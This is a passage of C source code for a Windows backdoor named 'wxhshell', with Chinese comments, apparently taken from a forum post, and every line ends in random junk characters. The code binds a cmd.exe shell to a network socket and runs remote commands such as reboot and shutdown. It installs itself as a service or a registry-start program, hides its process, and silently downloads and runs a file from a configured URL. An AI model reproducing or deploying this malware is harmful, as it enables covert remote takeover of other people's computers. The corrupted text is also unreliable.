    switch(cmd[0]) { \Z?.Po`!j  
  .>/Tc  
  // 帮助 J83{&N2u  
  case '?': { ~~8?|@V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HB/q v IzB  
    break; \J)ffEKIp  
  } 4hymQ3 g  
  // 安装 D%WgE&wtM  
  case 'i': { [ X7LV  
    if(Install()) V~9vf*X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KNI* :  
    else ">-mZ'$#L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y6&B%t<bo  
    break; Kuj*U'ed7t  
    } qGAb h  
  // 卸载 1u%e7  
  case 'r': {  4E"OD+  
    if(Uninstall()) |FR'?y1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &,4 3&pFU  
    else (toN? ?r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~F{u4p7{N  
    break; -5&|"YYjr{  
    } ~qjnV  
  // 显示 wxhshell 所在路径 &EZq%Sd  
  case 'p': { \G+uK:PC,  
    char svExeFile[MAX_PATH]; }3}{}w0Y  
    strcpy(svExeFile,"\n\r"); .q!U@}k.  
      strcat(svExeFile,ExeFile); |afzW=8'  
        send(wsh,svExeFile,strlen(svExeFile),0); Vk3xWD~  
    break; ~_;x o?@ba  
    } RD$"ft]Vc  
  // 重启 \W;+@w|c  
  case 'b': { kS\A_"bc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A,WZ}v}_  
    if(Boot(REBOOT)) Y[\ZN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NHL -ll-R  
    else { !)nA4l= S#  
    closesocket(wsh); ME9jN{ le  
    ExitThread(0); ec$kcD!  
    }  Z>O2  
    break; N1pw*<&  
    } G#|`Bjv"aP  
  // 关机 0\Q/$#3  
  case 'd': { b }^ylm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); McXid~  
    if(Boot(SHUTDOWN)) +OM9v3qJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_ng_,J  
    else { _xHEA2e!  
    closesocket(wsh); szDd!(&pv  
    ExitThread(0); "1#piJ  
    } RV&=B%w+  
    break; *h H\H  
    } 9"#,X36  
  // 获取shell _a?(JzLw5  
  case 's': { U|NVDuo{{x  
    CmdShell(wsh); K<_bG<tm_  
    closesocket(wsh); R _c! ,y  
    ExitThread(0); /W vgC)  
    break; 5y1:oiE/  
  } ~zcHpxO^W  
  // 退出 NJe^5>4`  
  case 'x': { /c>@^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \?|FB~.Ry  
    CloseIt(wsh); ;(Xig$k  
    break; >7fNxQ  
    } 5*n3*rbU:  
  // 离开 [5iBXOmpS=  
  case 'q': { I 'qIc ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |#)S`Ua1  
    closesocket(wsh); @_+B'<2  
    WSACleanup(); xv+47.?N  
    exit(1); 8,l~e8&  
    break; Pf4b/w/  
        } AMm)E  
  } ?Ji nX'z  
  } zj+.MG04  
15 /lX  
  // 提示信息 _tJm0z!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pI>[^7  
} z|^+uL  
  } VY@6!9G  
6^'BhHP  
  return; uE}A-\G  
} lo!.%PP|  
~h<<-c  
// shell模块句柄 DUAI  
int CmdShell(SOCKET sock) "s!|8F6$  
{ p;Lp-9H\33  
STARTUPINFO si; S=N3qBH6  
ZeroMemory(&si,sizeof(si)); S]O0zv^}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J'=iEI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {?zBc E:  
PROCESS_INFORMATION ProcessInfo; RdirEH *H  
char cmdline[]="cmd"; v95O)cC:W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^qro0]"LD  
  return 0; Sp2<rI  
} ,8Yc@P_O  
3utv  
// 自身启动模式 ^tFbg+.  
int StartFromService(void) FS1> J%P  
{ CHojF+e  
typedef struct [2 yxTK  
{ /ta5d;@  
  DWORD ExitStatus; V?0Yzg$sy  
  DWORD PebBaseAddress; a#k=! W  
  DWORD AffinityMask; #AN]mH  
  DWORD BasePriority; ?c;T4@mB  
  ULONG UniqueProcessId; \mIm}+!H  
  ULONG InheritedFromUniqueProcessId; eBs4:R_i  
}   PROCESS_BASIC_INFORMATION; vK10p)ZV  
gl$Ks+o d  
PROCNTQSIP NtQueryInformationProcess; tS@J)p+_(  
Q~y) V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dHUcu@,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?: XY3!{  
a(a 2xa  
  HANDLE             hProcess; f-BEfC,}'  
  PROCESS_BASIC_INFORMATION pbi; \d&/,?,Ey  
N"M?kk,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iem@ K  
  if(NULL == hInst ) return 0; MB:VACCr  
?cH,!2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;G=:>m~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dTwZ-%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ui[E,W~  
A{QXzoWkg0  
  if (!NtQueryInformationProcess) return 0; ~dm/U7B:  
?vd_8C2B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K@0/iWm*  
  if(!hProcess) return 0; ,Q2?Z :l  
l[cBDNlrC;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ifYC&5}SI  
@S>$y5if  
  CloseHandle(hProcess); +kXj+2  
s.8]qQRr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wRATe 0'  
if(hProcess==NULL) return 0; qtQB}r8  
ER)<Twj  
HMODULE hMod; 3SU:Xd(\o  
char procName[255]; Vjc*D]  
unsigned long cbNeeded; @[vwqPOL  
|*5QFp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mH/$_x)o  
>e4w8Svcy  
  CloseHandle(hProcess); * I{)8  
[:MpOl-KIz  
if(strstr(procName,"services")) return 1; // 以服务启动 _Q $D6+  
"\:ZH[j  
  return 0; // 注册表启动 3H'+7[~qH  
} rP=!!fC1;  
4wa8Vw`  
// 主模块 $:aKb#l)  
int StartWxhshell(LPSTR lpCmdLine) J(s%"d  
{ R06zca  
  SOCKET wsl; ^9ZW }AAO  
BOOL val=TRUE; Rw R.*?#  
  int port=0; ,fQs+*j  
  struct sockaddr_in door; c[DC  
x9Qa.Jmj  
  if(wscfg.ws_autoins) Install(); @uWPo2  
o YZmz  
port=atoi(lpCmdLine); 02EbmP  
HxgH*IMs  
if(port<=0) port=wscfg.ws_port; @Qa)@'u  
6kc/  
  WSADATA data; \qU.?V[2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3cp"UU}.  
)%}?p2.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v8< MAq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ];|;")#=  
  door.sin_family = AF_INET; @$ea-fK??  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NVFgRJ&  
  door.sin_port = htons(port); XP$1CWI  
wJ| wAS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xzGs%01]  
closesocket(wsl); /wj L<  
return 1; l*l(QvN_  
} LAoX'^6  
bN#)F    
  if(listen(wsl,2) == INVALID_SOCKET) { g!k'tizYD  
closesocket(wsl); r}gp{Pf7e  
return 1; "I|[m%\  
} ^<@9ph  
  Wxhshell(wsl); 4~G++|NQ  
  WSACleanup(); mST/u>'  
U73{Uv  
return 0; bB^SD] }C  
_a"\g9{%*  
} D\:~G}M  
n{~W s^d  
// 以NT服务方式启动 CVi3nS5Yl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tXocGM {6C  
{ }v[$uT-q  
DWORD   status = 0; ^[d|^fRH Q  
  DWORD   specificError = 0xfffffff; ]0HlPP:2  
4Qr16,Us  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r[:)-`]b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T1@]:`&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o <lS90J  
  serviceStatus.dwWin32ExitCode     = 0; [hf#$Dl |  
  serviceStatus.dwServiceSpecificExitCode = 0; N[~"X**x  
  serviceStatus.dwCheckPoint       = 0; h5bQ  
  serviceStatus.dwWaitHint       = 0; m|O7@N  
K4vl#*qn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a9ab>2G?FR  
  if (hServiceStatusHandle==0) return; ,R j{^-k  
NhxTSyT"t  
status = GetLastError(); +G3&{#D ?  
  if (status!=NO_ERROR) 0ih=<@1K  
{ g`jO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gE/O29Y  
    serviceStatus.dwCheckPoint       = 0; )w8h2=l  
    serviceStatus.dwWaitHint       = 0; ]-$0?/`p8  
    serviceStatus.dwWin32ExitCode     = status; -*sDa6L  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Fodqq@,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\a'GO[  
    return; R4<}kA,.  
  } /5@V $c8  
Ly?gpOqu5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qa nE]  
  serviceStatus.dwCheckPoint       = 0; /++CwRz@Gm  
  serviceStatus.dwWaitHint       = 0; 9PA\Eo|Yb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2 $^n@<uZ@  
} IYq)p /  
+'$=\d^  
// 处理NT服务事件,比如:启动、停止 Tp.0@aC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .17WF\1HC.  
{ #h@/~xr  
switch(fdwControl) x4cP%{n  
{ d v@B-l;  
case SERVICE_CONTROL_STOP: m4{F-++dk  
  serviceStatus.dwWin32ExitCode = 0; #Sj:U1x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (gQ^jmZPG  
  serviceStatus.dwCheckPoint   = 0; 1!"0fZh9U  
  serviceStatus.dwWaitHint     = 0; 0/d+26lR  
  { +B$ o8V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u@\]r 1  
  } |->{NU Z{  
  return; 0^4uZeW?  
case SERVICE_CONTROL_PAUSE: PsTPGK#S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3jIi$X06  
  break; Gn+D%5)$I  
case SERVICE_CONTROL_CONTINUE: R9o3T)9V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k:nR'TI  
  break; G\S\Qe{P~  
case SERVICE_CONTROL_INTERROGATE: JPQ[JD^]  
  break; V-U,3=C  
}; ~9JU_R^%m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N\?%944R  
} Qi' ,[Xmf  
6LRI~*F=3  
// 标准应用程序主函数 cg$@x\fJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EOu\7;kE9  
{ L-\-wXg%  
1>OfJc(K  
// 获取操作系统版本 jW5n^Y)  
OsIsNt=GetOsVer(); [L 0`B9TD~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vr<6j/ty  
h4x*C=?A  
  // 从命令行安装 FN5*pVD;<  
  if(strpbrk(lpCmdLine,"iI")) Install(); z5PFppSQ  
uM,bO*/f  
  // 下载执行文件 :1"{0 gm  
if(wscfg.ws_downexe) { Bi9b"*LN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jA R@?X  
  WinExec(wscfg.ws_filenam,SW_HIDE); il `O*6-  
} d:C-   
O;c;>x_dA  
if(!OsIsNt) { Q#8}pBw  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^'Wkb7L  
HideProc(); 'NF_!D  
StartWxhshell(lpCmdLine); {7 &(2Z]z  
} D4[1CQ@}4D  
else bj4cW\b(  
  if(StartFromService()) 6]^; s1!  
  // 以服务方式启动 )NJD+yQ%  
  StartServiceCtrlDispatcher(DispatchTable); K 0RY2Hiw  
else jPg8>Z&D  
  // 普通方式启动 rD)yEuYX  
  StartWxhshell(lpCmdLine); xoI;s}*E  
u"r~5  
return 0; hko0 ?z  
}
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只看该作者 1 发表于: 2006-10-10
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